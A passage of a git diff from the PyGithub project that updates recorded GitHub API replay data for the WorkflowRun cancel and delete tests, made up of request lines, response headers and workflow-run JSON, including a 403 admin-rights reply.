":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}} - +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f21ec6fcb14acc25564041c0c4db5b83978384c955ada9236f690c06e230a074"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '19'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC5:3941:15CB7:1ADA3:63C15A7D')] +{"id":3881497935,"name":"CI","node_id":"WFR_kwLOADYVqs7nWvVP","head_branch":"feat/workflow-run","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":930,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10279069747,"check_suite_node_id":"CS_kwDOADYVqs8AAAACZK4oMw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2023-01-10T08:24:19Z","updated_at":"2023-01-10T08:28:20Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-10T08:24:19Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","tree_id":"3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5","message":"add attribute 'name' on WorkflowRun","timestamp":"2023-01-10T08:08:37Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} diff --git a/tests/ReplayData/WorkflowRun.test_cancel.txt b/tests/ReplayData/WorkflowRun.test_cancel.txt index 4c82b3f370..6c4925c0c7 100644 --- a/tests/ReplayData/WorkflowRun.test_cancel.txt +++ b/tests/ReplayData/WorkflowRun.test_cancel.txt @@ -1,11 +1,21 @@ https -POST +GET api.github.com None -/repos/PyGithub/PyGithub/actions/runs/148274629/cancel +/repos/PyGithub/PyGithub/actions/runs/3911660493 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None -202 -[('Date', 'Fri, 26 Jun 2020 05:04:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '202 Accepted'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1593150230'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '9B56:4D5E:1A2549:1E86BB:5EF581DF')] -{} +200 +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"74bbb9a446cbc1fccb303d24a4c6f004ba916928fc1d581f90d7ae57b73b5345"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '34'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBB6:3941:15C6C:1AD40:63C15A77')] +{"id":3911660493,"name":"CI","node_id":"WFR_kwLOADYVqs7pJzPN","head_branch":"feat/workflow-run","head_sha":"f8de1574818fccb40aa2a4d89a5c423a44753258","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":934,"event":"pull_request","status":"in_progress","conclusion":null,"workflow_id":1903133,"check_suite_id":10354960977,"check_suite_node_id":"CS_kwDOADYVqs8AAAACaTQqUQ","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3911660493","pull_requests":[],"created_at":"2023-01-13T13:19:24Z","updated_at":"2023-01-13T13:19:37Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-13T13:19:24Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10354960977","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3911660493/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"f8de1574818fccb40aa2a4d89a5c423a44753258","tree_id":"b5c93d407638a09461028a6f0b6e58fa38c5fc15","message":"trigger CI","timestamp":"2023-01-13T13:16:03Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} +https +POST +api.github.com +None +/repos/PyGithub/PyGithub/actions/runs/3911660493/cancel +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +403 +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '33'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBB7:0299:F916:149FE:63C15A78')] +{"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#cancel-a-workflow-run"} diff --git a/tests/ReplayData/WorkflowRun.test_delete.txt b/tests/ReplayData/WorkflowRun.test_delete.txt index 3e812132c4..e3c6d5da4c 100644 --- a/tests/ReplayData/WorkflowRun.test_delete.txt +++ b/tests/ReplayData/WorkflowRun.test_delete.txt @@ -2,21 +2,20 @@ https GET api.github.com None -/repos/PyGithub/PyGithub/actions/runs/1327550476 +/repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Fri, 15 Oct 2021 04:26:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9b4f8e8ab5123615826192c4e38f4d4062e898032cfecfa59e65d37afc169db4"'), 